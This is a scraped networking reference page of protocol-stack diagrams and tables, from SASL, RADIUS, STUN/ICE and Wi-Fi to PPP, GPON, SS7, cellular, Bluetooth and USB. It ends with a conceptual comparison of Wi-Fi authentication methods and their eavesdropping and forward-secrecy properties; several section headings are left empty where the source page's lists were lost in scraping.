\n\n[mechanism]\n[SASL ] [protocol ]\n[protocol ] \u2192 [(SASL sec.)]\n[... ] [... ]\n\n
Notes:
\nSASL Mechanism | \nSecurity Layer | \nChannel Binding | \nDescription | \n
---|---|---|---|
GSSAPI | \nOptional (negotiated) | \nYes | \nKerberos 5 (not other mechanisms) with GSSAPI | \n
GSS2-* | \nNo | \nNo | \nGSS-API mechanisms (without support for channel binding) | \n
GSS2-*-PLUS | \nNo | \nYes | \nGSS-API mechanisms (with support for channel binding) | \n
OAUTHBEARER | \nNo | \nNo | \nOauth 2.0 Bearer token | \n
\n [Kerberos] [MS-NLMP ] [... ]\n[Kerberos] [SPNEGO ] [SPNEGO ] [EAP ]\n[GSS-API ] [GSS-API ] [GSS-API ] [GSS-API]\n[SASL ] [SASL ] [SASL ] [SASL ]\n[... ] [... ] [... ] [... ]\nGSS-API GSS-API NTLM\nwith with with SNPEGO\nKerberos SPNEGO /SASL\n/ SASL /SASL\n\n
Protocol | \nDescription | \n
---|---|
GSSAPI (Generic Security Service API) | \nGSSAPI defines a Mechanism-Independent Token Format which is required for the initial token but optional for the other tokens | \n
SPNEGO (Simple and Protected Negotiation Mechanism) | \nNegotiation of GSSAPI mechanism to use | \n
Kerberos 5 for GSSAPI mechanism | \n\n |
GSS mechanism for EAP | \n\n |
Notes:
\nGSSAPI
SASL mechanism or the newer GS2-*
mechanisms (eg. GS2-KRB5, GS2-KRB5-PLUS).GS2-*
mechanisms must not use mechanisms negotiation (such as SPNEGO).\n [RADIUS] [Diameter] [Diameter]\n[RADIUS] [RADIUS] [TLS ] [Diameter] [Diameter] [TLS ] [DTLS ]\n[UDP ] [TCP ] [TCP ] [TCP ] [SCTP ] [TCP ] [SCTP ]\n[IP ] [IP ] [IP ] [IP ] [IP ] [IP ] [IP ]\nRADIUS RADIUS RADIUS Diameter Diameter Diameter Diameter\n/UDP /TCP /TLS /TCP /SCTP /TLS /DTLS\n (RadSec)\n\n
Protocol | \nPort | \nSCTP PPID | \nDescription | \n
---|---|---|---|
RADIUS (authentication and authorization) | \nUDP 1812, TCP 1812 | \n- | \n\n |
RADIUS Accounting | \nUDP 1813, TCP 1813 | \n- | \n\n |
RADIUS DynAuth | \nUDP 3799 | \n- | \nDisconnect and Change-of-Authorization (CoA) messages | \n
RADIUS over TLS (RadSec) | \nTCP 2083 | \n- | \n\n |
Diameter | \nTCP 3868, SCTP 3868 | \n46 | \n\n |
Diameter over TLS/TCP | \nTCP 5658 | \n- | \n\n |
Diameter over DTLS/SCTP | \nSCTP 5658 | \n47 | \n\n |
\n [UDP app. ]\n[STUN ] [TURN ] [TURN ] [TURN|app.]\n[(DTLS / TLS)] [(DTLS / TLS)] [(DTLS / TLS)] [(TLS) ]\n[UDP / TCP ] [UDP / TCP ] [UDP / TCP ] [TCP ]\n[IP ] [IP ] [IP ] \u2192 [IP ]\n STUN TURN (UDP) TURN-TCP TURN-TCP\n connection\n\n
Protocol | \nDescription | \n
---|---|
STUN (Session Traversal Utilities for NAT) | \n\n |
STUN with DTLS | \n\n |
TURN (Traversal Using Relays around NAT) | \nExtension of STUN for relaying communications (UDP applications) over UDP or TCP. | \n
TURN-TCP | \nExtension of TURN for relaying TCP applications (over TCP). TCP connections are allocated over a control TURN channel. Each TCP connection is transported over a new dedicated connection after an initial ConnectionBind TURN request (and response). | \n
\n [SDP ] \n[STUN (+TURN)] [SDP] [HTTP] [STUN|app. ]\n[(DTLS / TLS)] [SIP] [TLS ] [(DTLS)/ (TLS)]\n[UDP / TCP ] [TCP] [TCP ] [UDP / TCP ]\n[IP ] [IP ] [IP ] [IP ]\nSTUN, TURN ICE candidate ICE candidates ICE communications\n(candidate exchange exchange (direct)\n collection) with SIP with SDP/HTTPS\n\n
Protocol | \nDescription | \n
---|---|
ICE (Interactive Connectivity Establishment) | \nUses STUN, TURN and exchanges ICE candidates for establishing communications. | \n
ICE-TCP | \nExtends ICE for TCP streams. | \n
STUN | \nUsed to help NAT traversal. | \n
TURN | \nUsed for relaying communication when no direct communication are possible. | \n
SDP | \nMay be used for exchanging ICE candidates (for example in SIP or WebRTC). Other methods may be used depending on the application (including non-SDP methods). | \n
Note:
\nExample of ICE through TURN:
\n\n[STUN\u00a6app ]<-------------------->[STUN\u00a6app]\n[TURN ]<--->o[TURN] [- ]\n[TLS ]<--->o[TLS ] [- ]\n[TCP ]<--->o[TCP |UDP]<---->[UDP ]\n[IP ]<---->[IP ]<---->[IP ]\nAppl. Peer Appl. Peer\nTURN client TURN server\n\n
\n [... ] [IP|ARP|... ]\n [EAP ] [SNAP ]\n[IP|ARP|EAPOL] [LLC ]\n[(802.1Q )] [(802.1Q )]\n[(802.1ad )] [(802.1ad )]\n[Ethernet MAC] [Ethernet MAC]\n[Ethernet PHY] [Ethernet PHY]\nEthernet II 802.1 with SNAP\n\n
Ethernet PHY sublayers (since Fast Ethernet):
\n\n[Ethernet PCS] [Ethernet PCS] (PHY)\n[Ethernet PMA] [Ethernet PMA] (PHY)\n[Ethernet PMD] [Ethernet PMD] (PHY)\n\n
Protocol | \nEtherType | \nDescription | \n
---|---|---|
PMD (Physical Medium Dependent sublayer) | \n- | \neg. 100BASE-FX, 10GBASE-E, 10GBASE-L, 10GBASE-S, 10GBASE-LX4 | \n
PMA (Physical Medium Attachment sublayer) | \n- | \nFraming, synchronization, etc. | \n
PCS (Physical coding sublayer sublayer) | \n- | \nNegotiation, coding (error detection) | \n
ARP (Address Resolution Protocol) | \n0x0806 | \nMapping between MAC addresses and IP addresses | \n
801.1Q | \n0x8100 | \nVLAN (Q-tag) | \n
802.1ad (Q-in-Q) | \n0x88A8 | \nVLAN in VLAN (outer 802.1ad tag is S-tag for service-tag; inner 802.1Q tag is c-tag for customer-tag) | \n
802.1X (EAPOL) | \n0x888E | \nPort Authentication, used for WPA-Entreprise as well | \n
IPv4 | \n0x0800 | \n\n |
IPv6 | \n0x86DD | \n\n |
LLC (Logical Link Control) | \n(length \u2264 1500) | \n\n |
SNAP (Subnetwork Access Protocol) | \n- | \n\n |
\n[... ]\n[EAP ]\n[EAPOL ] [IP |ARP]\n[SNAP ] [SNAP ] (Link)\n[LLC ] [LLC ] (Link)\n [(WEP / TKIP / CCMP / GCM)] (Link)\n[Wifi MAC ] [Wifi MAC ] (Link)\n[Wifi PLCP] [Wifi PLCP ] (Phy.)\n[Wifi PMD ] [Wifi PMD ] (Phy.)\nWPA-Entreprise\nAuthentication\n(WPA-EAP)\n\n
Layer | \nDescription | \n
---|---|
PMD (Physical Medium Dependent sublayer) | \n(eg. 802.11 FHSS, 802.11 DSSS, 802.11a OFDM, 802.11b HR/DSSS, 802.11g ERP) | \n
PLCP (Physical Layer Convergence Protocol sublayer) | \n\n |
WEP (Wired Equivalent Privacy) | \nOld encryption layer (based on RC4 and CRC-32) | \n
TKIP (Temporal Key Integrity Protocol) | \nEncryption layer of WPA1 (RC4 stream cipher with \u201cMichael\u201d MIC) | \n
CCMP | \nEncryption layer of WPA2 (AES with CCM mode) | \n
GCMP-256 | \nEncryption layer of WPA3 (56-bit Galois/Counter mode) | \n
LLC (Logical Link Control) | \n\n |
SNAP (Subnetwork Access Protocol) | \n\n |
Access Point:
\n\n[app. ]<--------------------------->[app. ]\n[TCP ]<--------------------------->[TCP ]\n[IP ]<--------------------------->[IP ]\n[SNAP ]<--------------------------->[SNAP ]\n[LLC ]<--------------------------->[LLC ]\n[sec. #1 ]<===>[sec. #1 | sec. #2]<===>[sec. #2 ]\n[Wifi MAC]<--->[Wifi MAC ]<--->[Wifi MAC]\n[Wifi PHY]<--->[Wifi PHY ]<--->[Wifi PHY]\nStation 1 Access Point Station 2\n\n
Ethernet/Wireless bridge:
\n\n[app. ]<------------------------------->[app. ]\n[TCP ]<------------------------------->[TCP ]\n[IP ]<------------------------------->[IP ]\n[SNAP ]<----[SNAP ]\n[LLC ]<--->[LLC ]\n[security]<===>[security ]\n[Wifi MAC]<--->[Wifi MAC \\-/ Eth. MAC]<--->[Eth. MAC]\n[Wifi PHY]<--->[Wifi PHY | Eth. PHY]<--->[Eth. PHY]\nStation 1 Ethernet/Wireless bridge Station 2\n\n
\n [... / ...]\n [NLPID / SNAP]\n[... ] [LLC ]\n[AAL5] [AAL5 ]\n[ATM ] [ATM ]\n[phy. ] [phy. ]\nVC Mux LLC Encap.\n\n
References:
\nConfiguration:
\n\n [... ]\n[LCP] [CCP] [compression]\n[PPP] [PPP] [PPP ]\n[...] [...] \u2192 [... ]\nLCP CCP and compression\n\n
Authentication:
\n\n [...]\n[PAP] [CHAP] [EAP]\n[PPP] [PPP ] [PPP]\n[...] [... ] [...]\nPAP CHAP EAP\n\n
Applications:
\n\n[IPCP|IPv4] [IPv6CP|IPv6]\n[PPP ] [PPP ]\n[... ] [... ]\nIPv4/PPP IPv6/PPP\n\n
Transports:
\n\n [... ] \n [PPP ] [...]\n[... ] [... ] [... ] [(SNAP)] [... ] [PPP]\n[PPP ] [PPP ] [PPP ] [LLC ] [PPP ] [SSH]\n[HDLC ] [HDLC] [PPPoE ] [AAL5 ] [L2TP] [TCP]\n[RS-232] [V.92] [Ethernet] [ATM ] [... ] [IP ]\nPPP/RS-232 PPP/PSTN PPPoE PPPoA L2TP PPP\n /SSH\n\n
Protocol | \nPPP Protocol | \nEtherType | \nDescription | \n
---|---|---|---|
PPP (Point-to-Point Protocol) | \n- | \n\n | \n |
LCP (Link Control Protocol) | \n0xc021 | \n- | \n\n |
PAP (Password Authentication Protocol) | \n0xc023 | \n- | \nCleartext login/password | \n
CHAP (Challenge-Handshake Authentication Protocol) | \n0xc223 | \n- | \nIncludes MC-CHAP and MS-CHAPv2 as well. | \n
EAP (Extensible Authentication Protocol) | \n0xc227 | \n- | \n\n |
IPCP (IP Configuration Protocol) | \n0x0021 | \n- | \nConfiguration of the IPv4 address | \n
IPv4 | \n0x0021 | \n- | \n\n |
IPv6CP (IPv6 Configuration Protocol) | \n0x8057 | \n- | \n\n |
IPv6 | \n0x0057 | \n- | \n\n |
PPPoA, PPP-over-ATM (AAL5) | \n- | \n- | \n\n |
PPPoE, PPP-over-Ethernet | \n- | \n0x8863 (discovery), 0x8864 (session) | \n\n |
L2TP (Layer Two Tunneling Protocol) | \n- | \n- | \n\n |
HDLC-like framing (RFC1662) for PPP | \n- | \n- | \n\n |
CCP (Compression Control Protocol) | \n- | \n- | \n\n |
PPP over SSH | \n- | \n- | \nIt's not a standard thing but you can do it. | \n
Gigabit Passive Optical Network:
\n\n [PWE3 ]\n [SIP |RTP ] [RTP ]\n [TCP |UDP ] [UDP ]\n [IP ] [IP ] [IP ] [MEF-8 ]\n [VLAN ] [VLAN ] [VLAN ] [VLAN ]\n [TDM|Eth. MAC] [Eth. MAC ] [Eth. MAC ] [Eth. MAC ] [SDH ]\n[PLOAM|OMCI|ATM|GEM ] [GEM ] [GEM ] [GEM ] [GEM ]\n[GTC adaptation ] [GTC adaptation] [GTC adaptation] [GTC adaptation] [GTC adaptation]\n[GTC framing ] [GTC framing ] [GTC framing ] [GTC framing ] [GTC framing ]\n[GPM ] [GPM ] [GPM ] [GPM ] [GPM ]\nGeneral stack Voice (VoIP) Voice with PWE3 Voice with MEF-8 Voice (TDM)\n\n
Protocol | \nDescription | \n
---|---|
GPM (GPON Physical Media Dependent layer) | \n\n |
GTC framing | \n\n |
PLOAM (Physical Layer Operations, Administration and Maintenance) | \n\n |
OMCI (ONU Management and Control Interface) | \n\n |
GEM (G-PON Encapsulation Mode) | \n\n |
TDM (Time Division Multiple Access) | \nEmulation of any TDM-based circuit | \n
PWE3, Pseudo Wire Emulation Edge-to-Edge | \nFrame Relay/ATM/Ethernet/TDM/SONET/SDH over IP or MPLS | \n
MEF-8 | \nEmulation of PDH over Ethernet | \n
References:
\n\n [PWE3 ]\n [SIP|RTP ] [RTP ]\n [TCP|UDP ] [UDP ]\n [IP ] [IP ] [IP ] [MEF-8 ]\n [802.1X|VLAN] [VLAN ] [VLAN ] [VLAN ]\n [Eth. MAC |MPLS] [Eth. MAC ] [Eth. MAC ] [Eth. MAC ]\n[PLOAM|OMCI|XGEM ] [XGEM ] [XGEM ] [XGEM ]\n[XGTC framing ] [XGTC framing ] [XGTC framing ] [XGTC framing ]\n[XGTC PHY adaptation ] [XGTC PHY adaptation] [XGTC PHY adaptation] [XGTC PHY adaptation]\n[XGON PMD ] [XGON PMD ] [XGON PMD ] [XGON PMD ]\nGeneral stack Voice (voIP) Voice with PWE3 Voice with MEF-8\n\n
References:
\n\n [... ] [... ] [... ] [... ] [... ]\n [ISUP|TCAP] [TCAP] [TCAP ] [TCAP ] [TCAP]\n[TUP / ISUP|SCCP ] [SUA |ISUP] [SCCP ] [SCCP ] [SCCP|ISUP]\n[MTP-3 ] [- ] [MTP-3|ISUP] [MTP-3 ] [M3UA ]\n[MTP-2 ] [- ] [M2PA ] [M2UA ] [ - ]\n[MTP-1 ] [(DTLS) ] [(DTLS) ] [(DTLS) ] [(DTLS) ]\n [SCTP ] [SCTP ] [SCTP ] [SCTP ]\n [(IPSec) ] [(IPSec) ] [(IPSec)] [(IPSec) ]\n [IP ] [IP ] [IP ] [IP ]\nSS7 SUA M2PA M2UA M3UA ...\n\n
Some application protocols:
\n\n [MAP ]\n [ISUP ] [TCAP ]\n[TUP ] [ISUP ] [SCCP ] [SCCP ]\n[MTP-3] [MTP-3] [MTP-3] [MTP-3]\n[MTP-2] [MTP-2] [MTP-2] [MTP-2]\n[MTP-1] [MTP-1] [MTP-1] [MTP-1]\nTUP ISUP ISUP MAP\n /SCCP\n\n
Protocol | \nSCTP PPID | \nDescription | \n
---|---|---|
MTP-1 (Message Transfer Part layer 1) | \n\n | Physical layer | \n
MTP-2 (Message Transfer Part layer 2) | \n\n | Link layer | \n
MTP-3 (Message Transfer Part layer 3) | \n\n | Nework layer | \n
TUP (Telephone User Part) | \n\n | Signaling for classic PSTN, mostly replaced by ISUP | \n
ISUP (ISDN User Part) | \n\n | \n |
SCCP (Signalling Connection Control Part) | \n\n | \n |
TCAP (Transaction Capabilities Application Part) | \n\n | \n |
CAP (CAMEL Application Part) | \n\n | \n |
MAP (Mobile Application Part) | \n\n | Transport layer on top of IP | \n
SCTP (Stream Control Transmission Protocol) | \n- | \n\n |
SUA (SCCP User Adaptation) | \n4 | \nReplaces SCCP when used over SCTP/IP | \n
M2UA (MTP2 User Adaptation Layer) | \n2 | \n\n |
M2PA (MTP2 User Peer-to-Peer Adaptation Layer) | \n5 | \n\n |
M3UA (MTP3 User Adaptation Layer) | \n3 | \n\n |
References:
\n\nUser Equipment (i.e. the phone) stacks:
\n\n PDP contexts PDP contexts EPS bearers PDU sessions\n | | | | | | | |\n [SM ] \u2193 \u2193 | | | | \u2193 \u2193\n [GMM ] [IP / PPP] [CM|SM ] \u2193 \u2193 [LTE NAS ] \u2193 \u2193 [5G NAS ] [IP|Eth.]\n[CM ] [SNDCP ] [SNDCP ] [MM|GMM ] [IP / PPP ] [LTE RRC ] [IP / PPP] [5G RRC ] [SDAP ]\n[MM ] [GPRS LLC] [GPRS LLC] [UMTS RRC] [UMTS PDCP] [LTE PDCP] [LTE PDCP] [5G PDCP] [5G PDCP]\n[RRM ] [GPRS RLC] [GPRS RLC] [UMTS RLC] [UMTS RLC ] [LTE RLC ] [LTE RLC ] [5G RLC ] [5G RLC ]\n[LAPDm ] [GPRS MAC] [GPRS MAC] [UMTS MAC] [UMTS MAC ] [LTE MAC ] [LTE MAC ] [5G MAC ] [5G MAC ]\n[GSM PHY] [GSM PHY ] [GSM PHY ] [UMTS PHY] [UMTS PHY ] [LTE PHY ] [LTE PHY ] [5G PHY ] [5G PHY ]\n CP CP UP CP UP CP UP CP UP\n-------- --------------------- ---------------------- --------------------- -----------------\nGSM (2G) GPRS (2.5G) UMTS (3G) LTE (aka EPS) (4G) 5G NR (5G)\n\n
Authentication stacks at the user equipment:
\n\n [... ]\n [AVP ]\n [mTLS ] [TLS ]\n [EAP-AKA] [EAP-AKA'] [EAP-TLS] [EAP-TTLS]\n[EPS-AKA] [5G-AKA] [EAP ] [EAP ] [EAP ] [EAP ]\n[NAS ] [NAS ] [NAS ] [NAS ] [NAS ] [NAS ]\nEPS-AKA 5G-AKA EAP-AKA EAP-AKA' EAP-TLS EAP-TTLS\n(4G) (5G) (5G) (5G) (5G) (5G)\n\n
Notes:
\nReferences:
\nProtocol | \nDescription | \n
---|---|
LAPDm (Link Access Procedures on the Dm channel) | \nLink layer for GSM used between the mobile station (i.e. the phone) and the BSC | \n
RR aka RMM (Radio Resource Management) | \n\n |
MM (Mobile Management) | \n\n |
CM (Connection Management) | \n\n |
RLC (Radio Link Control) | \n\n |
LLC (Logical Link Control) | \n(This is not the 802.2 LLC protocol used with Ethernet, Wifi, etc.) | \n
SNDCP (Subnetwork Dependent Convergence Protocol) | \n\n |
GMM (GPRS Mobility Management) | \n\n |
SM (Session Management) | \n\n |
PDCP (Packet Data Convergence Protocol) | \n\n |
RRC (Radio Resource Control) | \n\n |
NAS (Non-access stratum) | \n\n |
SDAP (Service Data Adaption Protocol) | \n\n |
SM (Session Management) | \n\n |
GMM (GPRS Mobile Management) | \n\n |
References:
\nUser equipment stacks for untrusted non-3GPP access (5G):
\n\n PDU sessions\n | |\n[EAP-AKA] | |\n[EAP / 5G-AKA] \u2193 \u2193\n[NAS ] [NAS ] [IP|Eth.] \u2190 Application IP (IMS, data)\n[EAP-5G ] [TCP ] [GRE ]\n[EAP ] [IP ] [IP ] \u2190 Inner IP (connect to the N3IWF)\n[IKEv2 ] [ESP ] [IKEv2] [ESP ]\n[UDP ] [(UDP)] [UDP ] [(UDP) ]\n[IP ] [IP ] [IP ] [IP ] \u2190 Non-3GPP Access Network\n[L2 ] [L2 ] [L2 ] [L2 ]\n[L1 ] [L1 ] [L1 ] [L1 ]\nCP CP UP UP\n(before SA) (after SA) establishment\n\n
Notes:
\nUser equipment stacks for untrusted non-3GPP access\nwith firewall traversal (5G):
\n\n PDU sessions\n | |\n[EAP-AKA] | |\n[EAP / 5G-AKA] \u2193 \u2193\n[NAS ] [NAS] [IP|Eth.] \u2190 Application IP (IMS, data)\n[EAP-5G ] [TCP] [GRE ]\n[EAP ] [IP ] [IP ] \u2190 Inner IP (connect to the N3IWF)\n[IKEv2 ] [ESP] [IKEv2] [ESP ]\n[TLS ] [TLS] [TLS ] [TLS ]\n[TCP ] [TCP] [TCP ] [TCP ]\n[IP ] [IP ] [IP ] [IP ] \u2190 Non-3GPP Access Network\n[L2 ] [L2 ] [L2 ] [L2 ]\n[L1 ] [L1 ] [L1 ] [L1 ]\nCP CP UP UP\n(before SA) (after SA) establishment\n\n
References:
\nIMS (IP Multimedia Subsystem) is an SIP/IP based-service\nto transporting voice, SMS, video\nover 4G (VoLTE),\n5G (VoNR)\nor non-3GPP access (VoWLAN/WoWifi).
\nUser equipment stacks for stacks for IMS:
\n\n[SMS] [SDP|A/V ]\n[SIP] [SIP|RTP |RTCP]\n[TCP] [TCP|UDP / TCP]\n[IP ] [IP ]\nSMS Audio/Video calls\nover IMS over IMs\n\n
Notes:
\nReferences:
\nUser equipment stacks for SMS:
\n\n[SM-AL ] [SMS ]\n[SM-TL ] [SIP ]\n[SM-RP ] [SMS] [TCP ]\n[SM-CP ] [NAS] [IP ]\n[CM ] [RRC] [(SDAP)]\n[MM ] [RLC] [PDCP ]\n[RR ] [RLC] [RLC ]\n[LDAPDm ] [MAC] [MAC ]\n[GSM PHY] [PHY] [PHY ]\nSMS/GSM SMS/NAS SMS/IMS\n(2G) (4G/5G) (4G/5G)\n\n
User equipment stacks for WAP (including MMS):
\n\n[WML | WMLScript | MMS]\n[WSP ] [XHTML MP|WAP CSS|MMS]\n[(WTP ) ] [(WP-)HTTP ]\n[(WTLS) ] [TLS ]\n[WDP / UDP ] [(WP-)TCP ]\n[SMS / IP ] [IP ]\n[... / ... ] [... ]\nWAP 1 WAP 2.0\n\n
Protocol | \nDescription | \n
---|---|
Wireless Session Protocol (WSP) | \nSimilar to HTTP | \n
Wireless Transaction Protocol (WTP) | \nSimilar to TCP. Used for CO-WSP (Connection-oriented WSP), absent for CL-WSP (Connectionless WSP) | \n
Wireless Transport Layer Security (WTLS) | \nProtection (similar to TLS) | \n
Wireless Datagram Protocol (WDP) | \nSimilar to UDP | \n
WML (Wireless Markup Language) | \nXML-based markup language, similar to HTML | \n
WMLScript | \nScripting language based on ECMAScript but compiled to a bytecode | \n
XHTML MP (Mobile Profile) | \n\n |
WP-TCP | \nProfile of TCP | \n
WP-HTTP | \nProfile of HTTP | \n
References:
\n\n ACL SCO\n /--------------------------------------------\\ /---\\\n\n [IP ] [IP |... ] [HID|...]\n [PPP|AT|Eth. MAC] [GATT |GAP ]\n [SDP |RFCOMM|BNEP |OBEX|HIDP|AVCTP|AVDTP] [... ] [ATT |SM|- ]\n [L2CAP |voice] [L2CAP ] [L2CAP |- ] \u2191Host\n------------------(HCI)------------------------------- ---(HCI)--- ---(HCI)------------------\n[LMP|- ] [Wifi PAL ] \u2193Controler\n[LCP ] [Wifi MAC ] [LE LL ]\n[BR / EDR ] [Wifi PHY ] [LE 1M / LE 2M / LE Coded]\nBluetooth Classic Bluetooth HS Bluetooth Low Energy (BLE)\n (High Speed)\n\n
Host/Controler interface (HCI) example (over USB):
\n\n[RFCOMM ]<-------------------------------------->[RFCOMM ]\n[L2CAP ]<-------------------------------------->[L2CAP ]\n[HCI ]<--->[HCI |LMP ]<--------------->[LMP ]\n[USB ]<--->[USB |LCP ]<--------------->[LCP ]\n[USB PHY] [USB PHY|BR / EDR]<--------------->[BR / EDR]\nHost Bluetooth Controler Device\n\n
Protocol | \nDescription | \n
---|---|
BR (Basic Rate) | \n\n |
EDR (Extended Data Rate) | \n\n |
LE (Low Energy) 1M | \n\n |
LE (Low Energy) 2M | \n\n |
LE (Low Energy) Coded | \n\n |
LCP | \n\n |
LMP (Link Manager Protocol) | \n\n |
LE LL (LE Link Layer) | \n\n |
L2CAP (Logical Link Control and Adaptation Protocol) | \n\n |
SDP (Service Discovering Protocol) | \n\n |
RFCOMM (Radio frequency communication) | \nRS-232 port emulation | \n
BNEP (Bluetooth Network Encapsulation Protocol) | \nBNEP transports Ethernet traffic (but replaces the Ethernet header with its own header!) | \n
OBEX | \n\n |
HIDP (Bluetooth HID Protocol) | \n\n |
AVCTP (Audio/video control transport protocol) | \n\n |
AVDTP (Audio/video data transport protocol) | \n\n |
SM (Security Manager) | \n\n |
GAP | \n\n |
ATT | \n\n |
GATT | \n\n |
AT | \nHayes Modem AT commands | \n
HCI (Host Controller Interface) | \nCommunication between the host and the bluetooth controller | \n
Radio link types:
\n\n [Eth|...|MIDI1 |MIDI1|MIDI2]\n[Std. Req.|HID|BOT|UAS|UASP|CCID|CDC |USB-MIDI|USB-MIDI2 |IPP|...]\n[USB Protocol layer ]\n[USB PHysical ]\n\n
Device Classes | \nDescription | \n
---|---|
Standard Requests | \n\n |
HID (Human Interaction Device) | \nKeyboard, Mouse, Baseball and Golf clubs, etc. | \n
MSB (Mass Storage Device) | \nUSB stick, etc. | \n
CDC (Commnication Device Class) | \n\n |
IPP (Internet Printing Protocol) | \n\n |
MTP (Media Transfer Protocol) | \n\n |
CCID (Chip Card Interface Device) | \nSmartcard, Yubikeys, etc. | \n
DFU (Device Firmware Upgrade) | \n\n |
BOT (Bulk Only Transfer) | \n\n |
UAS (USB Attached SCSI) | \n\n |
UASP (USB Attached SCSI Protocol) | \nNot the same as UAS! | \n
References:
\n\n\n[JSON \\-/ CBOR] JSON/CBOR conversion\n[HTTP \\-/ CoAP] HTTP/CoAP proxy/interworking\n[(TLS) |(DTLS)] Optional layers\n[TCP | UDP] TCP and UDP layers\n[IPv4 / IPv6] Either IPv4 or IPv6\n[Eth. \\-/ Wifi] Ethernet/Wifi bridge\n\n[STUN\u00a6app ] STUN and and some application protocol used together between the same peers\n\n[HTTP+WebDAV ] HTTP with WebDAV\n[TLS + PSK ] TLS with PSK key exchange\n\n[ - ] Empty layer, not a protocol layer\n\n[app. ] Some undefined application layer\n[... ] Some protocol layer(s)\n\n<-----> Bidirectional communications\n<----->o Client/server relation, etc.\n------> One-way communications\n<=====> Protected communications (usually both confidentiality and integrity)\n<=-=-=> Integrity-protected communications (possibly with anti-replay protection)\n K Interface name\n\n
Assignments:
\nDNS:
\nSamples:
\nMisc:
\nComparing the different Wifi/WPA authentication and key distribution methods (PSK, EAP, SEA).
\nThe following table summarizes the different options:
\nType | \nMode | \nUser identity | \nPassive eavesdropping | \nEvil Twin AP | \nForward secrecy | \n
---|---|---|---|---|---|
Open | \nOpen Network | \nno | \nYes | \nYes | \nNo | \n
Open | \nOWE | \nno | \nNo | \nYes | \nYes | \n
Personal | \nWPA-PSK | \nno | \nBy users[1] | \nBy users[1:1] | \nNo | \n
Personal | \nWPA-PSK with PPSK | \nMAC address (usually) | \nFor a single passphrase | \nFor a single passphrase | \nNo | \n
Personal | \nWPA3-SAE | \nno or cleartext[2] | \nNo | \nBy users[3] | \nYes | \n
Personal | \nWPA3-SAE-PK | \nno or cleartext[2:1] | \nNo | \nNo | \nYes | \n
Entreprise | \nWPA-EAP EAP-TLS | \ncleartext or protected[4] | \nNo | \nNo | \nUsually[5] | \n
Entreprise | \nWPA-EAP EAP-TTLS [6] | \nprotected | \nNo | \nNo | \nUsually[5:1] | \n
Entreprise | \nWPA-EAP EAP-PWD | \ncleartext | \nNo | \nNo[7] | \nYes | \n
The typical personal Wifi network uses PSK (Pre-Shared Key).\nIn order to connect using PSK authentication,\nyou only need the network SSID and a passphrase.\nThe same passphrase is usually shared for all the stations/users.
\nSummary: WPA-PSK
\nLimitations:
\nA pre-shared key (PSK) is derived from the passphrase and the SSID\nusing PBKDF2[9]:
\n\nPSK = PBKDF2-HMAC\u2212SHA1(passphrase, ssid, 4096 iterations, 256 bits)\n\n
This PSK is then combined with two nonces[10]\nand the two MAC addresses (AA, SA)\nin order to derive fresh key material for this connection.
\n\n\nAnyone in possession of the passphrase/PSK can derive the key material of other connections\n(as long as he has observed the the two nonces in the 4-way handshake).\nThis is problematic since the same passphrase is usually shared for all users.\nIf you share your WPA2-personal passphrase with someone,\nthis person can decrypt your Wifi communications.\nEverything which is not protected by other protocols\n(such as TLS, SSH, a VPN, etc.) can be eavesdropped.\nThis typically includes\nthe IP addresses and ports of the machines you are communicating with\nand the server names of the machines you are communicating with\n(through DNS requests[11],\nthrough TLS SNI[12]).
\nIn addition,\nan attacker could record your (encrypted) Wifi communications\nbefore he manages to get your passphrase.\nIf at a later time, he is able to guess/recover your password,\nhe would be able to decrypt your recorded/previous communications as well\n(lack of forward secrecy).
\nMoreover, as the passphrase is usually global for the Wifi network,\nit is usually not possible to revoke the access for a single user:\nthe global passphrase must be changed if any user access has to be revoked.
\nNote: workarounds for supporting multiple passphrases/PSKs
\nWPA-PSK does not provide any mean for the station to specify a login/username.\nSeveral possible workarounds can be used to support multiple passphrases/PSK\non the same network.
\nThe AP can use a different passphrase/PSK depending on the MAC address of the station.\nThis may be called\nPPSK (private PSK),\nIdentity PSK,\nePSK,\nMulti-PSK,\nDynamic-PSK\u2122.
\nIt is possible to support several PSKs for the same MAC address\n(or without any MAC address based dispatching at all).\nWhen the AP receives EAPOL-Key #2, it can try the different PSKs\nuntil the MIC passes.
\nPassive eavesdropping and AP impersonation is possible within a single PSK/passphrase group\n(i.e. it is not a problem as long as the PSK is not shared).
\nSummary: WPA-EAP
\nBefore WPA3, all those limitations could be avoided by using WPA-Entreprise (WPA-EAP).\nAs WPA-EAP is intended to be used in professional settings,\nit support different credentials for different users.
\nWPA-EAP works by doing an EAP\nauthentication[13] over Wifi.
\n\nThe EAP method exports some key material (shared secret),\nthe Master Session Key (MSK),\nresulting from the authentication.\nThis key material is used in the 4-way handshake to generate the different keys for the Wifi connection.
\n\nNote: EAP and AAA
\nWhen using EAP,\nthe authentication is usually forwarded by the AP to some authentication server.
\nMost of the time the RADIUS\nauthentication protocol is used:
\nEAP-Message
RADIUS attribute.MS-MPPE-RECV-Key
\n(which contains the first 32 bytes of the MSK i.e. the PMK in WPA)\nand the MS-MPPE-SEND-Key
(next 32 bytes) RADIUS attributes.In the Diameter protocol,\nthe EAP-Master-Session-Key
\nattribute is defined to transport the full MSK.
We highlight some interesting EAP methods below.
\nThe EAP-TLS method\nuses a TLS handshake (over EAP over Wifi)\nwith mutual authentication:\nboth the server and the client have their own (public/private) key pair\n(and the associated certificate chain)\nin order to authenticate themselves.
\nSummary: WPA with EAP-TLS
\nThe EAP-TTLS (Tunneled TLS) method\nuses a TLS connection over EAP over Wifi as well.\nThe server is authenticated at the TLS layer (using on its key pair and certificate chain) as before.\nThe difference with EAP-TLS is that the client is authenticated using some inner authentication protocol\nwhich is protected by the TLS tunnel.
\nSummary: WPA with EAP-TTLS
\nNote: similar EAP methods
\nThe PEAP,\nEAP-FAST and\nTEAP methods\nare similar to EAP-TTLS.\nThey use a TLS connection to protect some inner authentication protocol.
\nWarning: vulnerablity in PEAPv0 and PEAPv1
\nPEAPv0 and PEAPv1 have a MITM vulnerability\nwhen the same authentication method (and the same credentials)\nis used at the same time as inner authentication method in PEAP\nand without protection.\nIn this case, a MITM could intercept the unprotected authentication\nand inject in in the PEAP tunnel in order to complete the PEAP authentication.\nThis is fixed in PEAP v2.
\nThe EAP-PWD method\nprovides mutual authentication\nbetween the supplicant and the authenticator based on a shared password.\nThis EAP method is based on the Dragonfly key exchange\nwhich protects\nagainst passive and active attacks and provides forward secrecy.
\nSummary: WPA with EAP-PWD
\nNote: similar EAP methods
